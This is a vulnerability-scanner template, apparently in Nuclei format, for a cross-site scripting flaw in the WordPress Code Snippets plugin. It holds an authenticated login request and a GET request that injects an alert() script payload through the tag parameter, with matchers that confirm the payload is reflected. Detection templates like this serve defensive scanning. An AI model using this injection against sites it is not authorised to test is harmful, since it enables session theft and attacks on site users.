WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: wp-code-snippets-xss
info:
name: WordPress Code Snippets - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.securify.nl/en/advisory/cross-site-scripting-in-code-snippets-wordpress-plugin/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 2
tags: wordpress,xss,wp-plugin,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=snippets&tag=</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- 'toplevel_page_snippets'
- 'Search results in tag'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402202768b557c69dc2c9d33c33810c541f682bdecac4f0c9ad7ee5bb5ccd986fa6db0220345abeea1afea168f39efab7313bede3c3793929510b6d01327f32bd104bc972:922c64590222798bb761d5b6d8e72950